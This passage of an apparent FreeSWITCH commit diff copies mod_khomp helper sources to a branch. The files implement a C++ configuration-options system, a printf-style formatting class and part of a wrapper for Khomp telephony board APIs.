+{ 
+    return (value_id_type) _value_data.which(); 
+};
+
+const char ** config_option::values(void)
+{
+    if (_values != NULL)
+        return _values;
+
+    switch ((value_id_type) _value_data.which())
+    {
+        case config_option::ID_BOOL:
+        {
+            _values = new const char*[3];
+
+            _values[0] = strdup("yes");
+            _values[1] = strdup("no");
+            _values[2] = NULL;
+
+            return _values;
+        }
+
+        case config_option::ID_SINT:
+        {
+            try
+            {
+                sint_data_type & tmp = _value_data.get<sint_data_type>();
+
+
+                unsigned int count = ((tmp.sint_range.maximum - tmp.sint_range.minimum) / tmp.sint_range.step) + 1;
+                unsigned int index = 0;
+
+                _values = new const char*[count + 1];
+
+                for (sint_type i = tmp.sint_range.minimum; i <= tmp.sint_range.maximum; i += tmp.sint_range.step, index++)
+                    _values[index] = strdup(STG(FMT("%d") % i).c_str());
+
+                _values[index] = NULL;
+
+                return _values;
+            }
+            catch(value_type::InvalidType & e)
+            {
+                throw;
+            }
+        }
+
+        case config_option::ID_UINT:
+        {
+            try
+            {
+                uint_data_type & tmp = _value_data.get<uint_data_type>();
+
+                unsigned int count = ((tmp.uint_range.maximum - tmp.uint_range.minimum) / tmp.uint_range.step) + 1;
+                unsigned int index = 0;
+
+                _values = new const char*[count + 1];
+
+                for (uint_type i = tmp.uint_range.minimum; i <= tmp.uint_range.maximum; i += tmp.uint_range.step, index++)
+                    _values[index] = strdup(STG(FMT("%d") % i).c_str());
+
+                _values[index] = NULL;
+
+                return _values;
+            }
+            catch(value_type::InvalidType & e)
+            {
+                throw;
+            }
+        }
+
+        case config_option::ID_STRING:
+        {
+            try
+            {
+                string_data_type & tmp = _value_data.get<string_data_type>();
+            
+                _values = new const char*[ tmp.string_allowed.size() + 1 ];
+
+                unsigned int index = 0;
+
+                for (string_allowed_type::iterator i = tmp.string_allowed.begin(); i != tmp.string_allowed.end(); i++, index++)
+                    _values[index] = strdup((*i).c_str());
+
+                _values[index] = NULL;
+
+                return _values;
+            }
+            catch(value_type::InvalidType & e)
+            {
+                throw;
+            }
+        }
+
+        case config_option::ID_FUN:
+        {
+            try
+            {
+                fun_data_type & tmp = _value_data.get<fun_data_type>();
+            
+                _values = new const char*[ tmp.fun_allowed.size() + 1 ];
+
+                unsigned int index = 0;
+    
+                for (string_allowed_type::iterator i = tmp.fun_allowed.begin(); i != tmp.fun_allowed.end(); i++, index++)
+                    _values[index] = strdup((*i).c_str());
+
+                _values[index] = NULL;
+                return _values;
+            }
+            catch(value_type::InvalidType & e)
+            {
+                throw;
+            }
+
+        }
+
+        default:
+            throw config_process_failure(STG(FMT("unknown type identifier '%d'") % _value_data.which()));
+    }
+};
+
+void config_option::reset(void)
+{
+    _loaded = false;
+};
+
+void config_option::commit(void)
+{
+    if (_loaded)
+        return;
+
+    switch ((value_id_type) _value_data.which())
+    {
+        case config_option::ID_BOOL:
+        {
+            try
+            {
+                bool_data_type & tmp = _value_data.get<bool_data_type>();
+                tmp.bool_val = tmp.bool_default;
+            }
+            catch(value_type::InvalidType & e)
+            {
+                throw;
+            }
+
+            break;
+        }
+
+        case config_option::ID_SINT:
+        {
+            try
+            {
+                sint_data_type & tmp = _value_data.get<sint_data_type>();
+                tmp.sint_val = tmp.sint_default;
+            }
+            catch(value_type::InvalidType & e)
+            {
+                throw;
+            }
+            break;
+        }
+
+        case config_option::ID_UINT:
+        {
+            try
+            {
+                uint_data_type & tmp = _value_data.get<uint_data_type>();
+                tmp.uint_val = tmp.uint_default;
+            }
+            catch(value_type::InvalidType & e)
+            {
+                throw;
+            }
+            break;
+        }
+
+        case config_option::ID_STRING:
+        {
+            try
+            {
+                string_data_type & tmp = _value_data.get<string_data_type>();
+                tmp.string_val = tmp.string_default;
+            }
+            catch(value_type::InvalidType & e)
+            {
+                throw;
+            }
+            break;
+        }
+
+        case config_option::ID_FUN:
+        {
+            try
+            {
+                fun_data_type & tmp = _value_data.get<fun_data_type>();
+                tmp.fun_val(tmp.fun_default);
+            }
+            catch(value_type::InvalidType & e)
+            {
+                throw;
+            }
+            break;
+        }
+
+        default:
+            throw config_process_failure(STG(FMT("unknown type identifier '%d'") % _value_data.which()));
+    }
+
+    _loaded = true;
+};
+
+void config_option::copy_from(config_option & src)
+{
+    if (src._value_data.which() != _value_data.which())
+        throw config_process_failure(STG(FMT("unable to copy options, source type differs from destination.")));
+
+    if (!src._loaded)
+        return;
+
+    switch ((value_id_type) _value_data.which())
+    {
+        case config_option::ID_BOOL:
+        {
+            try
+            {
+                bool_data_type & stmp = src._value_data.get<bool_data_type>();
+                bool_data_type & dtmp = _value_data.get<bool_data_type>();
+                /* do not copy references, but values.. */
+                bool tmpval = stmp.bool_val;
+                dtmp.bool_val = tmpval;
+            }
+            catch(value_type::InvalidType & e)
+            {
+                throw;
+            }
+
+            break;
+        }
+
+        case config_option::ID_SINT:
+        {
+            try
+            {
+                sint_data_type & stmp = src._value_data.get<sint_data_type>();
+                sint_data_type & dtmp = _value_data.get<sint_data_type>();
+                /* do not copy references, but values.. */
+                int tmpval = stmp.sint_val;
+                dtmp.sint_val = tmpval;
+            }
+            catch(value_type::InvalidType & e)
+            {
+                throw;
+            }
+
+            break;
+        }
+
+        case config_option::ID_UINT:
+        {
+            try
+            {
+                uint_data_type & stmp = src._value_data.get<uint_data_type>();
+                uint_data_type & dtmp = _value_data.get<uint_data_type>();
+                /* do not copy references, but values.. */
+                unsigned int tmpval = stmp.uint_val;
+                dtmp.uint_val = tmpval;
+            }
+            catch(value_type::InvalidType & e)
+            {
+                throw;
+            }
+
+
+            break;
+        }
+
+        case config_option::ID_STRING:
+        {
+            try
+            {
+                string_data_type & stmp = src._value_data.get<string_data_type>();
+                string_data_type & dtmp = _value_data.get<string_data_type>();
+                /* do not copy references, but values.. */
+                std::string tmpval = stmp.string_val;
+                dtmp.string_val = tmpval;
+            }
+            catch(value_type::InvalidType & e)
+            {
+                throw;
+            }
+
+            break;
+        }
+
+        case config_option::ID_FUN:
+        {
+            /* TO IMPLEMENT (NEEDS ANOTHER METHOD ON FUNCTION FOR GETTING VALUE) */
+
+//            fun_data_type & tmp = boost::get<fun_data_type>(_value_data);
+//
+//            if (!tmp.loaded)
+//            {
+//                tmp.fun_val(tmp.fun_default);
+//                tmp.loaded = true;
+//            }
+            break;
+        }
+
+        default:
+            throw config_process_failure(STG(FMT("unknown type identifier '%d'") % _value_data.which()));
+    }
+
+    _loaded = true;
+};
+
+/*********************************/
+
+bool config_options::add(config_option option)
+{
+    //option_map_type::iterator iter2 = _map.begin();
+
+    //boost::tie(iter2, ok2) 
+    std::pair<option_map_type::iterator, bool> ret = _map.insert(option_pair_type(option.name(), option));
+
+    return ret.second;
+}
+
+bool config_options::synonym(std::string equiv_opt, std::string main_opt)
+{
+    //syn_option_map_type::iterator iter = _syn_map.begin();
+
+    //boost::tie(iter, ok) 
+    std::pair<syn_option_map_type::iterator, bool> ret = _syn_map.insert(syn_option_pair_type(equiv_opt, main_opt));
+
+    return ret.second;
+}
+
+config_options::string_set config_options::options(void)
+{
+    string_set res;
+
+    for (option_map_type::iterator i = _map.begin(); i != _map.end(); i++)
+        res.insert((*i).first);
+
+    return res;
+}
+
+void config_options::process(const char * name, const char * value)
+{
+    option_map_type::iterator iter = find_option(name);
+
+    if (iter == _map.end())
+        throw config_process_failure(STG(FMT("unknown option '%s'") % name));
+
+    try
+    {
+        switch ((*iter).second.type())
+        {
+            case config_option::ID_SINT:
+                set<config_option::sint_type>((*iter).first, Strings::toulong(value));
+                return;
+            case config_option::ID_UINT:
+                set<config_option::uint_type>((*iter).first, Strings::tolong(value));
+                return;
+            case config_option::ID_BOOL:
+                set<config_option::bool_type>((*iter).first, Strings::toboolean(value));
+                return;
+            case config_option::ID_STRING:
+            case config_option::ID_FUN:
+                set<config_option::string_type>((*iter).first, std::string(value));
+                return;
+            default:
+                throw config_process_failure(STG(FMT("unknown type identifier '%d'") % (*iter).second.type()));
+        }
+    }
+    catch (Strings::invalid_value e)
+    {
+        throw config_process_failure(STG(FMT("invalid value '%s' for option '%s'") % value % name));
+    }
+}
+
+const char ** config_options::values(const char * name)
+{
+    option_map_type::iterator iter = find_option(name);
+
+    if (iter == _map.end())
+        throw config_process_failure(STG(FMT("unknown option '%s'") % name));
+
+    return (*iter).second.values();
+}
+
+const char ** config_options::values(void)
+{
+    if (_values != NULL)
+        return _values;
+
+    unsigned int count = 0;
+
+    for (option_map_type::iterator i = _map.begin(); i != _map.end(); i++)
+        if ((*i).second.list_me())
+            ++count;
+
+    _values = new const char*[ count + 1 ];
+
+    unsigned int index = 0;
+
+    for (option_map_type::iterator i = _map.begin(); i != _map.end(); i++)
+    {
+        if ((*i).second.list_me())
+        {
+            _values[index] = strdup((*i).first.c_str());
+            ++index;
+        }
+    }
+
+    _values[index] = NULL;
+
+    return _values;
+}
+
+void config_options::reset(void)
+{
+    for (option_map_type::iterator i = _map.begin(); i != _map.end(); i++)
+        (*i).second.reset();
+}
+
+config_options::messages_type config_options::commit(void)
+{
+    messages_type msgs;
+    
+    for (option_map_type::iterator i = _map.begin(); i != _map.end(); i++)
+    {
+        try
+        {
+            (*i).second.commit();
+        }
+        catch (config_process_failure e)
+        {
+            msgs.push_back(e.msg);
+        }
+    }
+    
+    return msgs;
+}
+
+bool config_options::loaded(std::string name)
+{
+    option_map_type::iterator iter = find_option(name);
+
+    if (iter == _map.end())
+        return false;
+
+    return iter->second.loaded();
+}
+
+void config_options::copy_from(config_options & source, std::string name)
+{
+    option_map_type::iterator iter_src = source.find_option(name);
+    option_map_type::iterator iter_dst = find_option(name);
+
+    if (iter_src == source._map.end())
+        throw config_process_failure(STG(FMT("unknown option '%s' on source") % name));
+
+    if (iter_dst == _map.end())
+        throw config_process_failure(STG(FMT("unknown option '%s' on destination") % name));
+
+    iter_dst->second.copy_from(iter_src->second);
+}
+
+config_options::option_map_type::iterator config_options::find_option(std::string name)
+{
+    syn_option_map_type::iterator syn_iter = _syn_map.find(name);
+
+    if (syn_iter != _syn_map.end())
+        name = syn_iter->second;
+
+    option_map_type::iterator iter = _map.find(name);
+
+    return iter;
+}

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/config_options.hpp

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/config_options.hpp (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/commons/config_options.hpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/config_options.hpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/config_options.hpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,281 @@
+#include <set>
+#include <map>
+#include <vector>
+
+#include <strings.hpp>
+
+#include <format.hpp>
+
+#ifndef INCLUDED_CONFIG_OPTIONS
+#define INCLUDED_CONFIG_OPTIONS
+
+template < typename base_type >
+struct Variant
+{
+    struct InvalidType {};
+
+    Variant(base_type * value) : _value(value) 
+    {
+        _count = new int(1);
+    };
+
+    Variant(const Variant & v) : _value(v._value), _count(v._count)
+    {
+       
+       (*_count)++;
+    }
+
+    ~Variant()
+    {
+        (*_count)--;
+        if (_value && !(*_count)) 
+        {
+            delete _value;
+            delete _count;
+        }
+    };
+
+    template < typename return_type >
+    return_type & get(void)
+    {
+        try
+        {
+            return_type & ret = dynamic_cast < return_type & > (*_value);
+            return ret;
+        }
+        catch (std::bad_cast & e)
+        {
+            throw InvalidType();
+        }
+
+    };
+
+    int which()
+    {
+        return _value->which();
+    }
+
+ protected:
+    base_type * _value;
+    int *_count;
+};
+
+struct config_process_failure
+{
+    config_process_failure(std::string _msg): msg(_msg) {};
+    std::string msg;
+};
+
+struct config_option
+{
+    typedef int          sint_type;
+    typedef unsigned int uint_type;
+    typedef bool         bool_type;
+
+    typedef std::string                          string_type;
+    //typedef boost::function1<void, std::string>     
+    typedef void (*fun_type)(std::string);
+
+    typedef std::set < string_type >     string_allowed_type;
+    
+    /* this should reflect 'variant.which()'! */
+    typedef enum
+    {
+        ID_SINT   = 0,
+        ID_UINT   = 1,
+        ID_BOOL   = 2,
+        ID_STRING = 3,
+        ID_FUN    = 4,
+    }
+    value_id_type;
+
+    template <typename number_type>
+    struct range
+    {
+        range(number_type _minimum, number_type _maximum, number_type _step)
+        : minimum(_minimum), maximum(_maximum), step(_step) {};
+
+        number_type minimum, maximum, step;
+    };
+
+    struct BaseType
+    {
+        BaseType() {}
+
+        virtual ~BaseType() {} 
+
+        virtual int which() = 0;
+    };
+
+    struct sint_data_type : public BaseType
+    {
+        sint_data_type(sint_type & _sint_val, sint_type _sint_default, range<sint_type> _sint_range)
+        : sint_val(_sint_val), sint_default(_sint_default), sint_range(_sint_range) {};
+
+        int which()
+        {
+            return ID_SINT;
+        }
+
+        sint_type        & sint_val;
+        sint_type          sint_default;
+        range<sint_type>   sint_range;
+    };
+
+    struct uint_data_type : public BaseType
+    {
+        uint_data_type(uint_type & _uint_val, uint_type _uint_default, range<uint_type> _uint_range)
+        : uint_val(_uint_val), uint_default(_uint_default), uint_range(_uint_range) {};
+
+        int which()
+        {
+            return ID_UINT;
+        }
+
+        uint_type        & uint_val;
+        uint_type          uint_default;
+        range<uint_type>   uint_range;
+    };
+
+    struct bool_data_type : public BaseType
+    {
+        bool_data_type(bool_type & _bool_val, bool_type _bool_default)
+        : bool_val(_bool_val), bool_default(_bool_default) {};
+        
+        int which()
+        {
+            return ID_BOOL;
+        }
+
+        bool_type      & bool_val;
+        bool_type        bool_default;
+    };
+
+    struct string_data_type : public BaseType
+    {
+        string_data_type(std::string & _string_val, std::string _string_default, string_allowed_type _string_allowed)
+        : string_val(_string_val), string_default(_string_default), string_allowed(_string_allowed) {};
+        
+        int which()
+        {
+            return ID_STRING;
+        }
+
+        std::string         & string_val;
+        std::string           string_default;
+        string_allowed_type   string_allowed;
+    };
+
+    struct fun_data_type : public BaseType
+    {
+        fun_data_type(fun_type _fun_val, std::string _fun_default, string_allowed_type _fun_allowed)
+        : fun_val(_fun_val), fun_default(_fun_default), fun_allowed(_fun_allowed) {};
+        
+        int which()
+        {
+            return ID_FUN;
+        }
+
+        fun_type             fun_val;
+        std::string          fun_default;
+        string_allowed_type  fun_allowed;
+    };
+
+
+    typedef Variant < BaseType >  value_type;
+    //typedef boost::variant < sint_data_type , uint_data_type, bool_data_type, string_data_type, fun_data_type >  value_type;
+
+    config_option(std::string, const string_type &, const string_type, string_allowed_type allowed, bool list_me = true);
+    config_option(std::string, const string_type &, const string_type = "", bool list_me = true);
+    config_option(std::string, const sint_type &, const sint_type = 0, sint_type min = -INT_MAX, sint_type max = INT_MAX, sint_type step = 1, bool list_me = true);
+    config_option(std::string, const uint_type &, const uint_type = 0, uint_type min = 0, uint_type max = UINT_MAX, uint_type step = 1, bool list_me = true);
+    config_option(std::string, const bool_type &, const bool_type = false, bool list_me = true);
+    config_option(std::string, fun_type, std::string defvalue, string_allowed_type allowed, bool list_me = true);
+    config_option(std::string, fun_type, std::string defvalue = "", bool list_me = true);
+
+    ~config_option(void);
+
+    void set(string_type value);
+
+    void set(sint_type value);
+    void set(uint_type value);
+    void set(bool_type value);
+
+    std::string    & name(void);
+    value_id_type    type(void);
+
+    const char **  values(void);
+
+    void            reset(void);
+    void           commit(void);
+
+    bool          list_me(void) { return _list_me; };
+    bool           loaded(void) { return _loaded;  };
+
+    void        copy_from(config_option &);
+
+ protected:
+    std::string       _my_name;
+    value_type     _value_data;
+
+    bool              _list_me;
+    const char **      _values;
+    bool               _loaded;
+};
+
+struct config_options
+{
+    typedef std::vector < std::string >    messages_type;
+
+    config_options(void): _values(NULL) {};
+
+    typedef std::set < std::string >  string_set;
+
+    typedef std::map  < std::string, config_option >   option_map_type;
+    typedef std::pair < std::string, config_option >  option_pair_type;
+
+    typedef std::map  < std::string, std::string >   syn_option_map_type;
+    typedef std::pair < std::string, std::string >  syn_option_pair_type;
+
+    bool add(config_option option);
+
+    /* only valid in "process" (for backwards compatibility config files) */
+    bool synonym(std::string, std::string);
+
+    template <typename value_type>
+    void set(std::string name, value_type value)
+    {
+        option_map_type::iterator iter = _map.find(name);
+
+        if (iter == _map.end())
+            throw config_process_failure(STG(FMT("unknown option: %s") % name));
+
+        (*iter).second.set(value);
+    }
+
+    string_set options(void);
+
+    void process(const char *, const char *); /* process option from file */
+
+    void           reset(void);         /* reset loaded opts */
+    messages_type commit(void);         /* set defaults */
+
+    const char ** values(const char *); /* option value */
+    const char ** values(void);         /* values from options */
+
+    bool          loaded(std::string);  /* return if config was loaded */
+
+    void          copy_from(config_options &, std::string);
+
+ protected:
+    option_map_type::iterator find_option(std::string);
+
+ protected:
+    option_map_type      _map;
+    syn_option_map_type  _syn_map;
+
+    const char ** _values;
+};
+
+#endif /* INCLUDED_CONFIG_OPTIONS */
+

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/format.cpp

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/format.cpp (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/commons/format.cpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/format.cpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/format.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+#include "format.hpp"
+
+const char * Format::INVALID_MSG = "** Invalid Format **";
+
+
+Format::Format(const char * fmt, bool exception)
+    : _valid(true), _exception(exception)
+{
+    std::string text;
+    std::string arg;
+
+    const char * ptr = fmt;
+
+    while(*ptr != '\0')
+    {
+        if (*ptr != '%')
+        {
+            text += *ptr;
+            ptr++;
+            continue;
+        } 
+        else if(*(ptr+1) == '%') 
+        {
+            text += *ptr;
+            ptr++;
+            text += *ptr;
+            ptr++;
+            continue;
+        }
+
+        _args.push(new Argument(text, "text"));
+
+        text.clear();
+
+        arg += *ptr;
+
+        bool finished = false;
+
+        ptr++;
+
+        while(*ptr != '\0' && !finished) 
+        {
+        
+            Argument * argument;
+
+            switch (*ptr)
+            {
+            case ' ':
+                arg += *ptr;
+                _args.push(new Argument(arg, "text"));
+                arg.clear();
+                finished = true;
+                break;
+            
+            case '%':
+                _args.push(new Argument(arg, "text"));
+                arg.clear();
+                arg += *ptr;
+                break;
+
+            case 'h':
+                arg += *ptr;
+                break;
+
+            case 'l':
+                arg += *ptr;
+                break;
+
+            case 'd':
+            case 'i':
+                arg += *ptr;
+                argument = new Argument(arg, typeid(int).name());
+                argument->type(typeid(unsigned int).name());
+                _args.push(argument);
+                argument = NULL;
+                arg.clear();
+                finished = true;
+                break;
+
+            case 'o':
+            case 'u':
+            case 'x':
+            case 'X':
+                arg += *ptr;
+                argument = new Argument(arg, typeid(unsigned int).name());
+                argument->type(typeid(int).name());
+                _args.push(argument);
+                argument = NULL;
+                arg.clear();
+                finished = true;
+                break;
+
+            case 'e':
+            case 'E':
+            case 'f':
+            case 'F':
+            case 'g':
+            case 'G':
+            case 'a':
+            case 'A':
+                arg += *ptr;
+                argument = new Argument(arg, typeid(double).name());
+                argument->type(typeid(float).name()); 
+                _args.push(argument);
+                argument = NULL;
+                arg.clear();
+                finished = true;
+                break;
+
+            case 'c':
+                arg += *ptr;
+                argument = new Argument(arg, typeid(char).name());
+                argument->type(typeid(unsigned char).name());
+                _args.push(argument);
+                argument = NULL;
+                arg.clear();
+                finished = true;
+                break;
+
+            case 's':
+                arg += *ptr;
+                argument = new Argument(arg, typeid(const char *).name());
+                argument->type(typeid(char *).name());
+                argument->type(typeid(const unsigned char *).name());
+                argument->type(typeid(unsigned char *).name());
+                _args.push(argument);
+                argument = NULL;
+                arg.clear();
+                finished = true;
+                break;
+
+            case 'p':
+            case 'C':
+            case 'S':
+            case 'n':
+            case 'm':
+                arg += *ptr;
+                _args.push(new Argument(arg, ""));
+                arg.clear();
+                finished = true;
+                break;
+            default:
+                arg += *ptr;
+                break;
+            }
+        
+            ptr++;
+
+        }
+    }
+    
+    if(!text.empty())
+        _args.push(new Argument(text, "text"));
+    
+    if(!arg.empty())
+        _args.push(new Argument(arg, "text"));
+
+}
+
+std::string Format::str()
+{
+
+    if(!_valid) 
+    {
+        if(_exception)
+            throw InvalidFormat(INVALID_MSG);
+
+        _result.clear();
+        _result += INVALID_MSG;
+        return _result;
+    }
+
+    Argument * top;
+    bool text;
+
+    do
+    {
+        text = false;
+
+        if(_args.empty())
+            return _result;
+
+        top = _args.front();
+        _args.pop();
+
+        if(top->compare("text"))
+        {
+            _result += top->fmts();
+            text = true;
+            free(top);
+        }
+        
+    }
+    while(text);
+
+    free(top);
+
+    _valid = false;
+
+    if(_exception)
+        throw InvalidFormat(INVALID_MSG);
+
+    _result.clear();
+    _result += INVALID_MSG;
+    return _result;
+}
+
+

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/format.hpp

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/format.hpp (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/commons/format.hpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/format.hpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/format.hpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,183 @@
+#ifndef _FORMAT_H_
+#define _FORMAT_H_
+
+#include <string>
+#include <queue>
+#include <set>
+#include <typeinfo>
+#include <cstring>
+#include <cstdlib>
+
+/* macros used for shortening lines and making the code clearer */
+#define STG(x) (x).str()
+#define FMT(x) Format(x)
+
+struct Format
+{
+    static const char * INVALID_MSG;
+
+    struct Argument
+    {
+        typedef std::set < std::string > StringSet;
+
+        Argument(std::string init_fmts, std::string init_type)
+            : _fmts(init_fmts) 
+        {
+            _types.insert(init_type);
+        };
+
+        void type(std::string t)
+        {
+            _types.insert(t);
+        }
+
+        bool compare(const char * type)
+        {
+            for(StringSet::iterator it = _types.begin(); it != _types.end(); it++)
+            {
+                if(!strcmp(type, (*it).c_str()))
+                    return true;
+            }
+            return false;
+        }
+
+        std::string fmts()
+        {
+            return _fmts;
+        }
+
+    protected:
+        std::string _fmts;
+        StringSet _types;
+    };
+
+    struct InvalidFormat
+    {
+        InvalidFormat(std::string msg) : _msg(msg) {}
+
+        std::string _msg;
+    };
+
+
+    typedef std::queue < Argument *> ArgumentsQueue;
+
+    Format(const char * fmt, bool exception = false);
+    
+    std::string str();
+
+    template < typename Type >
+    Format & operator % ( Type value )
+    {
+        Argument * top;
+        bool text;
+
+        do
+        {
+            text = false;
+
+            if(_args.empty()) {
+                _valid = false;
+                if(_exception)
+                    throw InvalidFormat(INVALID_MSG);
+                return *this;
+            }
+
+            top = _args.front();
+            _args.pop();
+
+            if(top->compare("text"))
+            {
+                _result += top->fmts();
+                text = true;
+                free(top);
+            }
+            
+        }
+        while(text);
+
+        char tmp[1000];
+
+        if(top->compare(""))
+        {
+            snprintf(tmp, 1000, top->fmts().c_str(), value);
+            _result += tmp;
+        } 
+        else if (top->compare(typeid(Type).name()))
+        {
+            snprintf(tmp, 1000, top->fmts().c_str(), value);
+            _result += tmp;
+        } 
+        else 
+        {
+            free(top);
+            _valid = false;
+            if(_exception)
+                throw InvalidFormat(INVALID_MSG);
+            return *this;
+        }
+
+        free(top);
+
+       return *this;
+    }
+
+Format & operator%( std::string & value )
+{
+    Argument * top;
+    bool text;
+
+    do
+    {
+        text = false;
+
+        if(_args.empty()) {
+            _valid = false;
+            if(_exception)
+                throw InvalidFormat(INVALID_MSG);
+            return *this;
+        }
+
+        top = _args.front();
+        _args.pop();
+
+        if(top->compare("text"))
+        {
+            _result += top->fmts();
+            text = true;
+            free(top);
+        }
+        
+    }
+    while(text);
+
+    char tmp[1000];
+
+    if (top->compare(typeid(char *).name()))
+    {
+        snprintf(tmp, 1000, top->fmts().c_str(), value.c_str());
+        _result += tmp;
+    } 
+    else 
+    {
+        free(top);
+        _valid = false;
+        if(_exception)
+            throw InvalidFormat(INVALID_MSG);
+        return *this;
+    }
+
+    free(top);
+
+   return *this;
+}
+
+private:
+    bool _valid;
+    bool _exception;
+    std::string _result;
+    ArgumentsQueue _args;
+
+};
+
+#endif /* _FORMAT_H_ */
+

Deleted: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/k3lapi.cpp

Copied: freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/k3lapi.cpp (from rev 14471, freeswitch/trunk/contrib/mod/endpoints/mod_khomp/commons/k3lapi.cpp) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/k3lapi.cpp	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/endpoints/mod_khomp/commons/k3lapi.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,171 @@
+#include <k3lapi.hpp>
+
+K3LAPI::K3LAPI()
+: _device_count(0),  _channel_count(0),  _link_count(0),
+  _device_config(0), _channel_config(0), _link_config(0)
+{}
+
+K3LAPI::~K3LAPI()
+{
+    _device_count = 0;
+        
+    if (_device_type)    { delete[] _device_type;       _device_type = NULL; }
+    if (_device_config)  { delete[] _device_config;   _device_config = NULL; }
+    if (_channel_config) { delete[] _channel_config; _channel_config = NULL; }
+    if (_link_config)    { delete[] _link_config;       _link_config = NULL; }
+    if (_channel_count)  { delete[] _channel_count;   _channel_count = NULL; }
+    if (_link_count)     { delete[] _link_count;         _link_count = NULL; }
+}
+
+/* initialize the whole thing! */
+    
+void K3LAPI::start(void)
+{
+    /* tie the used k3l to the compiled k3l version */
+    char *ret = k3lStart(2, 0, 0); //k3lApiBuildVersion);
+    
+    if (ret && *ret)
+        throw start_failed(ret);
+            
+    /* call init automagically */
+    init();
+}
+
+void K3LAPI::stop(void)
+{
+    k3lStop();
+}
+
+/* envio de comandos para placa */
+    
+void K3LAPI::mixer(int32 dev, int32 obj, byte track, KMixerSource src, int32 index)
+{
+    KMixerCommand mix;
+
+    mix.Track = track;
+    mix.Source = src;
+    mix.SourceIndex = index;
+
+    command(dev, obj, CM_MIXER, (const char *) &mix);
+}
+
+void K3LAPI::mixerCTbus(int32 dev, int32 obj, byte track, KMixerSource src, int32 index)
+{
+    KMixerCommand mix;
+
+    mix.Track = track;
+    mix.Source = src;
+    mix.SourceIndex = index;
+
+    command(dev, obj, CM_MIXER_CTBUS, (const char *) &mix);
+}
+
+void K3LAPI::command(int32 dev, int32 obj, int32 code, std::string & str)
+{
+    command(dev, obj, code, str.c_str());
+}
+
+void K3LAPI::command (int32 dev, int32 obj, int32 code, const char * parms)
+{
+    K3L_COMMAND cmd;
+
+    cmd.Cmd = code;
+    cmd.Object = obj;
+    cmd.Params = (byte *)parms;
+
+    int32 rc = k3lSendCommand(dev, &cmd);
+
+    if (rc != ksSuccess)
+        throw failed_command(code, dev, obj, rc);
+}
+
+void K3LAPI::raw_command(int32 dev, int32 dsp, std::string & str)
+{
+    raw_command(dev, dsp, str.data(), str.size());
+}
+
+void K3LAPI::raw_command(int32 dev, int32 dsp, const char * cmds, int32 size)
+{
+    std::string str(cmds, size);
+
+    int32 rc = k3lSendRawCommand(dev, dsp, (void *)cmds, size);
+
+    if (rc != ksSuccess)
+        throw failed_raw_command(dev, dsp, rc);
+}
+
+KLibraryStatus K3LAPI::get_param(K3L_EVENT *ev, const char *name, std::string &res)
+{
+    char tmp_param[256];
+    memset((void*)tmp_param, 0, sizeof(tmp_param));
+
+    int32 rc = k3lGetEventParam (ev, (sbyte *)name, (sbyte *)tmp_param, sizeof(tmp_param)-1);
+        
+    if (rc != ksSuccess)
+        return (KLibraryStatus)rc;
+
+    res.append(tmp_param, strlen(tmp_param));
+    return ksSuccess;
+}
+    
+std::string K3LAPI::get_param(K3L_EVENT *ev, const char *name)
+{
+    std::string res;
+
+    KLibraryStatus rc = get_param(ev, name, res);
+
+    if (rc != ksSuccess)
+        throw get_param_failed(name, rc);
+            
+    return res;
+}
+
+void K3LAPI::init(void)
+{
+    if (_device_count != 0) return;
+
+    _device_count = k3lGetDeviceCount();
+
+    _device_type    = new KDeviceType[_device_count];
+    _device_config  = new device_conf_type[_device_count];
+    _channel_config = new channel_ptr_conf_type[_device_count];
+    _link_config    = new link_ptr_conf_type[_device_count];
+    _channel_count    = new unsigned int[_device_count];
+    _link_count        = new unsigned int[_device_count];
+        
+    for (unsigned int dev = 0; dev < _device_count; dev++)
+    {
+        _device_type[dev] = (KDeviceType) k3lGetDeviceType(dev);
+            
+        /* caches each device config */
+        if (k3lGetDeviceConfig(dev, ksoDevice + dev, &(_device_config[dev]), sizeof(_device_config[dev])) != ksSuccess)
+            throw start_failed("k3lGetDeviceConfig(device)");
+
+        /* adjust channel/link count for device */
+        _channel_count[dev] = _device_config[dev].ChannelCount;
+        _link_count[dev] = _device_config[dev].LinkCount;
+            
+        /* caches each channel config */
+        _channel_config[dev] = new channel_conf_type[_channel_count[dev]];
+
+        for (unsigned int obj = 0; obj < _channel_count[dev]; obj++)
+        {
+            if (k3lGetDeviceConfig(dev, ksoChannel + obj, &(_channel_config[dev][obj]), 
+                                    sizeof(_channel_config[dev][obj])) != ksSuccess)
+                throw start_failed("k3lGetDeviceConfig(channel)");
+        }
+
+        /* adjust link count for device */
+        _link_count[dev] = _device_config[dev].LinkCount;
+            
+        /* caches each link config */
+        _link_config[dev] = new link_conf_type[_link_count[dev]];
+
+        for (unsigned int obj = 0; obj < _link_count[dev]; obj++)
+        {
+            if (k3lGetDeviceConfig(dev, ksoLink + obj, &(_link_config[dev][obj]), 
+                                    sizeof(_link_config[dev][obj])) != ksSuccess)
+                throw start_failed("k3lGetDeviceConfig(link)");
+        }
+    }
+}

